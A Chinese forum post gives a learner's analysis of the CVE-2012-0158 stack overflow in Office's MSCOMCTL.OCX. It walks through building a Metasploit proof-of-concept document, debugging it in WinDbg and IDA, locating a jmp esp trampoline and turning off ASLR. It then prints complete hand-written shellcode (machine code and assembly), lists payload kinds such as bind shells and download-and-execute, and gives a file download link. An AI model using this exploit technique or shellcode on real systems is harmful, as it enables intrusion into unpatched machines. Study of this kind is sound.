CVE-2012-0158 Office 漏洞分析笔记
本帖最后由 ScareCrowL 于 2018-4-6 21:31 编辑CVE-2012-0158 漏洞分析报告
软件名称:MicrosoftOffice
软件版本:2007 (12.0.4518.1014)
漏洞模块:MSCOMCTL.OCX
POC来源:Kali (Linux)Metasploit 框架操作系统:Windows xp sp3 / windows7 32位
漏洞编号:CVE-2012-0158
漏洞类型:缓冲区溢出
威胁类型:远程
##前言 随着网络攻击的不断增多,office文档漏洞作为一种通用性和易用性都很强的利用方式越来越受到攻击者的喜爱。
其中2017年最受欢迎的3种文档型漏洞如下图所示:
数据来源:《文档型漏洞攻击研究报告》 360安全卫士 cve-2012-0158虽然存在时间很长了,但因为其利用方法成熟,并且漏洞影响版本较多,仍然是攻击者的常用武器。
自己刚刚接触漏洞,看了一些书,练习写过一些ShellCode,但始终觉得对漏洞理解很浅,这次从这个入门级经典漏洞入手,分析的还算详细,感觉最大的收获是WinDbg很好很强大,然后就是,有了洞,还能写ShellCode真的可以 为所欲为啊 !哈哈,记录下自己的学习笔记,供大家参考,如有错误请各位前辈多指教。
##环境
###实验环境
[*]Windows xp sp3 / Windows7专业版32位 (需关闭ASLR)
[*]Office 2007(12.0.4518.1014)
###POC来源使用网上出现较多的两类:① 纯净版poc( 提取自《漏洞战争》)② 计算器弹窗poc(或联网下马等)
这两类漏洞样本的区别主要在于:
① 验证性触发代码,可以定位到漏洞触发的地点,但不包括合理有效的利用方式。
② 完整性攻击代码,包含完整的利用过程,如弹计算器、联网下载木马等。
作为一个新手搜罗漏洞样本是件很头大的事,以下一些平台推荐给大家:
[*]http://binvul.com/
[*]https://www.exploit-db.com/
[*]https://www.securityfocus.com/
[*]Metasploit
当然,我们也可以通过Metasploit漏洞框架生成自己的 poc (弹计算器)
环境 : Linux Kali系统Metasploit v4.16.21-dev
重要步骤:
将文件名改为cve-2012-0158_poc.doc后复制到实验虚拟机中,至此我们便生成了可以在office2007下使用的样本(此样本测试时不需备份)。
###工具
[*] Windbg:定位shellcode位置,分析漏洞成因使用(如果没使用过,强烈推荐下载WINDBG参考手册V0.6,介绍很全面)
[*] IDA: 静态分析漏洞模块使用
[*] 010Editor:静态分析shellcode使用
##漏洞成因及分析此漏洞属于栈内存拷贝溢出漏洞,关于栈溢出原理可以参考这位老铁的文章,讲的很详细~
https://www.52pojie.cn/forum.php?mod=viewthread&tid=681477
###查找漏洞触发点1. 打开cve-2012-0158_poc.doc,我弹,直接弹出计算器,漂亮,我们自己生成的样本3测试成功!(注意 测试时样本2需备份,3无需备份,这里我们测试使用样本1和3)
2. 运行WinDbg->打开office2007->F6附加word.exe->打开poc。此时两种样本的情况有所不同:
①验证性触发代码:
由于验证性触发代码会直接在溢出点报错,所以通过调试很容易发现0x41414141就是缓冲区溢出淹没的返回地址,如果此时回溯栈上数据,就可以一步步找到返回地址在MSCOMCTL模块中的函数位置0x275c8a0a,继续静态分析就可以找到漏洞函数 (我们重点分析第二种样本)。
此时如果我们把返回地址改为0x7FFA4512,即魔法跳转地址(在win7 32位以下版本中均指向jmp esp),再将返回地址后的内容改为我们的Shellcode,就能通过进程代码空间中的jmp esp跳回到栈中我们自己编写的代码中,即完成了一次简单利用。画了个图,熟悉一下“跳板“指令的概念:
核心逻辑就是在内存中找到任意一条jmp esp指令覆盖返回地址,跳转之。
除了上面提到的魔法地址,还推荐两种方法查找:
1. windbg搜索字符串 s -w 0x70000000 L0x7ffffff e4ff (e4ff为jmp esp的机器码的小端排序)
2. 由于程序都会加载 kernel32.dll,还可通过windbg 下的Mona.py插件,使用 !py mona jmp -r esp -m “kernel32.dll” 查找(貌似Mona功能很强大)
另外要注意ESP所指位置还与函数调用约定、返回指令等有关。如,retn3与retn4在返回后,ESP所指位置都会有所差异。所以我们经常将返回地址后的ShellCode前几个字节填充0x90等不干扰程序执行的机器码,这样避免返回位置的不确定性导致异常。
②完整触发代码:
如果样本弹出了计算器,那么一定会存在打开进程的API,常见API有这几个:
[*] WinExec
[*] ShellExecute
[*] CreateProcess
对WinExec下断:
很幸运,直接断下,说明POC使用了WinExec,之后的关键点是要找到被覆盖的返回地址,一种方式可以通过打印堆栈,栈回溯的方式层层跟踪查找到shellcode的位置。另一种可以通过一些技巧实现,由于我们已经知道了跳板的概念,所以可以直接在010 editor中搜索特征码定位到shellcode处:
此时找到返回地址:0x27583c30,我们重新打开poc,在0x27583c30处下断:
找到shellcode的位置
下面就是要找到,究竟漏洞是在哪里触发的,原因是什么?栈溢出肯定是往栈上写shellcode,在执行什么指令时写的呢?我们下一个内存写条件断点
为方便调试,我们先在shellcode前加一个Int3断点,使poc打开后自动断下。
此时遇到了一个问题(xp不存在):win7默认开启了ASLR(内存随机化保护机制),这样我们每次加载PE文件都会使用映像随机化,导致模块基址不断变化,调试难度很大,而绕过ASLR是更深层次的东西了,我们不讨论,那么简单粗暴点,直接注册表中关掉!(将下列代码保存到txt后改后缀名为reg,运行,重启计算机即可)
```
Windows Registry Editor Version 5.00
"MoveImages"=dword:00000000
```
打开带有断点的poc,自动断下
重新附加word.exe->设置条件断点ba w1 0011aa58 “r eip ; gc”->打开样本-> F5 这里要注意,由于堆栈存在着反复读写,如果采用手工调试,过程将非常漫长,通过不断F5最终一定是可以找到shellcode被写入时最后一次的eip值。不过windbg很强大,其中的gc指令可以实现从断点处继续执行(用在条件断点内)。这样我们就可以使用条件断点的方式记录下所有的eip,快速找到最后一次的写入点。
很多内存拷贝的代码最终都是这样的形式rep movsdword ptr es:,dword ptr ,就是以寄存器ESI为源内存指针,EDI为目标内存指针,拷贝的过程为ECX递减到0的过程,即ECX为拷贝长度。
所以我们在观察到shr ecx,2这条指令时,可以在这条指令下断,验证何时进行了拷贝
BuMSCOMCTL!DllGetClassObject+0x41a84
Q命令退出->重新附加样本->断在0x275c87c8处
经过3次F5后来到ecx=8282处,此处才是真正的内存拷贝位置~
之后一路F10即来到jmp esp->ShellCode处
那么出现漏洞的函数到底是哪个呢?
此时由于堆栈已经被破坏,所以无法找到正常执行的返回点,我们可以通过之前找到的最后的两个eip,分别下断,顺序执行几步,即可以找到调用漏洞函数的位置。
[*]bu MSCOMCTL!DLLGetDocumentation+0xd01(倒数第二个call)
[*]bu MSCOMCTL!DllGetClassObject+0x41a84 (最后一个call : 0x275c89c7)
漏洞触发的整体流程就简单走了一遍~
###静态分析首先使用IDA加载mscomctl.ocx,来到出现漏洞的函数位置0x275c89c7:
我们发现调用了两次sub_275c876d,在WinDbg中动态跟踪对比。明确一点:如果我们复制数据到栈上,栈一定会改变,所以我们通过Calls上的变化就可以知道哪个call真正复制了数据~
整体流程:解析cve-2012-0158_poc.doc时会先调用vulFun函数,函数分配0x14大小的栈空间,然后使用了0xC字节大小的空间,剩余0x8字节,之后第二次调用CopyOleData函数时复制数据,大小超过0x8,导致栈溢出~
此处有一种加快分析进度的技巧,由于我们分析的漏洞模块是微软的activeX控件解析模块MSCOMCTL.OCX,所以只要找到对应的调试符号文件MSCOMCTL.dbg,放在同一个目录下用IDA静态代码分析工具打开,就会自动解析MSCOMCTL.OCX的各个函数地址和函数名(此处只在网上找到了旧版的MSCOMCTL.dbg,而我使用的office 2007 MSCOMCTL.OCX版本较高,不能完全兼容,只能对比着看,有好方法的大佬麻烦指导一下)
加载符号后显然比我们自己分析的更清晰,重点还是关注前两个CALL。
我们可以发现第一个CALL的关键问题:dwBytes的值可以通过修改数据流bstrString被控制。
回忆一下,我们使用POC拷贝时的大小是dwBytes大小是 0x8282 字节,超过8字节,这样第二个CALL拷贝dwBytes个字节到 v7(ebp-8) 中,显然会淹没返回地址,发生栈溢出漏洞。因此,可以推测此处应该是在开发代码时将<=8写成了>=8,造成了这个奇葩的状况。
最后官方做了修复如下:
##ShellCode编写
已经找到了漏洞点,对shellcode的分析也不难,网上文章也有很多可以参照,这里就不展开分析了,我们从正向编写一个简单的shellcode来弹个MessageBox利用一下。
shellcode的编写大概是这样的流程 :
1.获取kernel32.dll基址,通过GetProcAddress获取需要使用函数的地址(函数地址需遍历导出表),通过LoadLibrary加载需要的模块
2.采用哈希算法来瘦身,减小shellcode体积
3.由于0x0A (回车), 0x00等机器码会导致截断,需要对代码进行加密解密的操作(消除截断代码)
…………
对于恶意程序的操作主要有这么几类:
1. 绑定特定端口 BindShell
2.下载并执行 Download+winExec
3. 反连特定IP Bind
4. 添加用户等操作
…………
ShellCode相关内容在《0day安全:软件漏洞分析技术(第2版)》这本书中讲解的很详细,另外对于office类型的漏洞构造还需要掌握office通用控件的一些格式,新手水平比较菜,暂时就没有深究了,直接使用生成好的控件模板尝试,建议和我一样的新手可以先练习写一些 shellcode,对汇编能力提升很大,正向会写shellcode了,逆向分析也就很容易喽~
最后附上自己用内联汇编写的一段很挫的shellcode,仅供参考~
机器码:
83EC14EB175573657233322E646C6C0048656C6C6F20576F726C6400E8000000005B648B35300000008B760C8B761C8B368B368B5608B985DFAFBB5251E8610000008BF0B98732D8C05251E85300000050565253E8B5000000558BEC83EC04C745FC000000005351528B55088B5DFC33C933C08A040A84C074128BF3C1E319C1EE070BDE03D8895DFC41EBE78B550C33C03BDA7505B8010000005A595B8BE55DC20800558BEC83EC0C528B550C8B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A897DF88B7E248D3C3A897DF433C9EB01418B75F88B348E8B550C8D3432FF750856E86BFFFFFF85C074E68B75F433FF668B3C4E8B75FC8B3CBE8B550C8D043A5A8BE55DC20800558BEC83EC088D73E48B45146A006A0056FFD0B96A0A381E5051E876FFFFFF8D73EF6A006A00566A00FFD0B96389D14F8B550C5251E85BFFFFFF6A00FFD0
将shellcode粘贴到poc中后,弹之,成功!能弹MessageBox了,干些其它事情也是小菜喽,真的可以为所欲为啊哈哈~
//未加密,兼容性不是很好
//环境 vs2015 release 关闭dep、随机基址、内联汇编,代码最优,生成程序后提取机器码即可
```
#include "stdafx.h"
#include <stdlib.h>
#define EM(x) _asm _emit x
int Hash_GetDigest(char * strFunName) //32位摘要,遍历导出表时比对函数摘要从而获得函数地址(减少shellcode中字符串的体积)
{
unsigned int nDigest = 0;
while (*strFunName)
{
nDigest = (nDigest << 25) | (nDigest >> 7) ;
nDigest += *strFunName;
strFunName++;
}
return nDigest;
}
int main()
{
int nDigest = Hash_GetDigest("xxx");//需要测试的摘要字符串
printf("%x", nDigest);
_asm {
sub esp, 20;
jmp ShellCode; //保护数据区
//ebx-0x1C(28)len:11 "User32.dll\0"
EM(0x55) EM(0x73) EM(0x65) EM(0x72) EM(0x33) EM(0x32) EM(0x2E) EM(0x64) EM(0x6C) EM(0x6C) EM(0x00)
//ebx-0x11(17)len:12"HelloWorld\0"
EM(0x48) EM(0x65) EM(0x6C) EM(0x6C) EM(0x6F) EM(0x20) EM(0x57) EM(0x6F) EM(0x72) EM(0x6C) EM(0x64) EM(0x00)
ShellCode:
//1.GetPC
CALL RShellCode;
RShellCode:
pop ebx; //baseAddr
//2.获取kernel32
mov esi, dword ptr fs : ; //FS是TEB, FS:是PEB
mov esi, ; //指向PEB_LDR_DATA结构指针
mov esi, ; //模块链表指针ininit..list
mov esi, ;
mov esi, ; //访问模块链表第二个条目 一般是kernel32或kernelbase(win7以下)
mov edx, ; //获取基址
//3.GetProcAddressbbafdf85 (生成的32位摘要)
mov ecx, 0xbbafdf85;
push edx;
push ecx;
call Fun_GetFunAddrByHash; //(int nHashDigest,int imageBase)
mov esi, eax;
//4.LoadLibraryExA c0d83287
mov ecx, 0xc0d83287;
push edx;
push ecx;
call Fun_GetFunAddrByHash; //(int nHashDigest,int imageBase)
//5.PayLoad (baseAddr,kernel32基地址,GetProcAddress,LoadLibraryExA)
push eax; //LoadLibraryExA
push esi; //GetProcAddress
push edx; //kernel32
push ebx; //baseAddr
call FUN_PayLoad;
//---------------------------------------------HASH转换函数----------------------------------------------------------
Fun_Hash_CmpString: //(char* strFunName,int nDigest)
push ebp;
mov ebp, esp;
sub esp, 0x4; //由要用几个局部变量决定
mov dword ptr, 0x00; //清零 nDigest赋初值0
push ebx; //保存寄存器
push ecx;
push edx;
mov edx, ; //param1 : ebp+0x8 strFunName
mov ebx, ; //ebx=nDigest
xor ecx, ecx; //需要有ecx计数(字符串比较)
xor eax, eax;
Loop_Start:
mov al, ; //当前字符串的第ECX个字节
test al, al; //测试al是否为空
je Loop_End;
//循环
mov esi, ebx; //保存nDigest
shl ebx, 0x19; //nDigest<<25
shr esi, 0x7; //nDigest >> 7
or ebx, esi; // or
add ebx, eax; //nDigest+=*strFunName
mov, ebx;
inc ecx;
jmp Loop_Start;
Loop_End:
mov edx, ; //param2 nDigest
xor eax, eax;
cmp ebx, edx;
jne Fun_End; //不等返回0
mov eax, 0x1; //相等返回1
Fun_End:
pop edx;
pop ecx;
pop ebx;
mov esp, ebp;
pop ebp;
retn 0x8; //传几个参数返回n*4
//------------------------------------根据HASH值获取指定函数----------------------------------------------------------
Fun_GetFunAddrByHash: //(int nHashDigest,int imageBase)
push ebp;
mov ebp, esp;
sub esp, 0xc; //局部变量
push edx;
//1.获取EAT\ENT\EOT地址
mov edx, ; //imageBase
mov esi, ; //esi=IMAGE_DOS_HEADER.e_lfanew
lea esi, ; //pe文件头
mov esi, ; //esi=IMAGE_EXPORT.VirtualAddress
lea esi, ; //esi=导出表首地址
//EAT
mov edi, ; //edi=IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
lea edi, ; //EAT首地址
mov, edi; //local_1=EAT
//ENT
mov edi, ; //edi=IMAGE_EXPORT_DIRECTORY.AddressOfNames
lea edi, ; //ENT首地址
mov, edi; //local_2=ENT
//EOT
mov edi, ; //edi=IMAGE_EXPORT_DIRECTORY.AddressOfNamesOrdinals
lea edi, ; //EOT首地址
mov, edi; //local_3=EOT
//2.循环对比ENT中的函数名
xor ecx, ecx; //数组下标
jmp Loop_FirstCmp;
Loop_FunName:
inc ecx;
Loop_FirstCmp:
mov esi, ; //ent
mov esi, ; //ENT rva
mov edx, ; //imageBase
lea esi, ; //ent va(第一个函数名)
push ; //nHashDigest
push esi; //strFun
call Fun_Hash_CmpString;
test eax, eax; //如果是0,置zf置1
je Loop_FunName; //不等,找下个函数名
//3.成功后找到对应序号
mov esi, ; //EOT
xor edi, edi;
mov di, ; //取EOT
//4.在EAT中找到对应函数地址
mov esi, ; //EAT
mov edi, ; //EAT[ EOT[ i ] ] rva
mov edx, ; //imageBase
//5.返回地址
lea eax, ; //EAT VA 函数地址
pop edx;
mov esp, ebp;
pop ebp;
retn 0x8;
//-----------------------------------------FUN_PayLoad-----------------------------------------------
FUN_PayLoad:
push ebp;
mov ebp, esp;
sub esp,0x08;
//栈内情况
//ebp+0x8 param1:baseAddr
//ebp+0xc param2:kernel32
//ebp+0x10 param3:GetProcAddress
//ebp+0x14 param4:LoadLibraryExA
//1.加载user32.dllLoadLibraryExA("user32.dll", 0, 0);
lea esi, ;
mov eax, ; //LoadLibraryExA
push 0x0;
push 0x0;
push esi;
call eax; //call LoadLibraryExA 注意加载dll,会导致edx等变化
//2.MessageBoxA 1e380a6a
mov ecx, 0x1e380a6a;
push eax; //user32.dll
push ecx;
call Fun_GetFunAddrByHash; //(int nHashDigest,int imageBase)
//调用MessageBoxA
lea esi, ;
push 0;
push 0;
push esi;
push 0;
call eax;
//3.ExitProcess 4fd18963
mov ecx, 0x4fd18963;
mov edx, ; //获取kernel32基址
push edx;
push ecx;
call Fun_GetFunAddrByHash; //(int nHashDigest,int imageBase)
//调用ExitProcess
push 0;
call eax;
}
system("pause");
return 0;
}
```
##总结
画了个图,总结了一些经验,基本上把要说的说完了~总之对于栈溢出漏洞的分析,大多可以通过栈回溯的方法找到漏洞函数,也可通过找特征码下cc断点的方式快速找到溢出点,之后通过对返回地址下内存写断点,找到rep movs等字字符串拷贝的指令,最后通过栈回溯方式可以很快的定位漏洞函数地址。再之后使用IDA,WINDBG等工具动静结合分析漏洞函数,就能很快找到漏洞成因。
文章参考了一些前辈的文章,在此表示感谢!第一次分析cve,处女贴,有写的不清楚和错误的地方请大家指出,共同进步!
最后祝各位大佬新年快乐!旺旺旺!
PS : 第一次发贴,貌似发现了两个小BUG:
[*] 分页做目录的情况下只有第一页正常,其它页无法使用MarkDown和添加代码工具~
[*] 在内联汇编注释时 mov di, //取eot
->[ ]中其实是 i 的,但论坛会默认解析成斜体(不显示),不知是不是BUG呢?
已解决,见楼下回复,感谢H大~
##参考资料《Shellcode 编程艺术》 15PB信息安全教育
《0day安全:软件漏洞分析技术( 第2版 ) 》 王清著
《漏洞战争 软件漏洞分析精要》 林桠泉 著
《文档型漏洞攻击研究报告》 360安全卫士
CVE官网 :http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158
免CB通道:链接: https://pan.baidu.com/s/1gfTTjbX 密码: rs3s
感谢分享,学习了 Hmily 发表于 2018-2-21 20:48
@ScareCrowL 对,是bug!但也不算bug,这个是比较恶心的discuz设计!他们默认解析这个字符,我看文章直接用 ...
哈哈好的,不过文章是word里粘过来的,后来为了加导航方便阅读才单独把标题加了md,下次我注意~多谢H大!{:17_1078:} 古老的洞洞,楼主怀旧{:301_1001:}
dotay123 发表于 2018-2-20 18:24
古老的洞洞,楼主怀旧
古老而经典{:301_1001:},原谅我只是个菜鸡{:301_986:} @ScareCrowL 对,是bug!但也不算bug,这个是比较恶心的discuz设计!他们默认解析这个字符,我看文章直接用了md写的,你在编辑帖子的时候,把右下角的“禁用编辑器代码”勾选上,他就不会解析了,这样全用md就行了。 ScareCrowL 发表于 2018-2-21 21:03
哈哈好的,不过文章是word里粘过来的,后来为了加导航方便阅读才单独把标题加了md,下次我注意~多谢H大! ...
如果不是md的,那可以直接把代码用代码框处理一下,也不会被解析。 Hmily 发表于 2018-2-22 10:23
如果不是md的,那可以直接把代码用代码框处理一下,也不会被解析。
恩恩,测试了OK的~Thanks{:17_1068:} 感谢分享,学习了 感谢分享,学习了... 现在一般都是文档里加2018-4878不也挺好:lol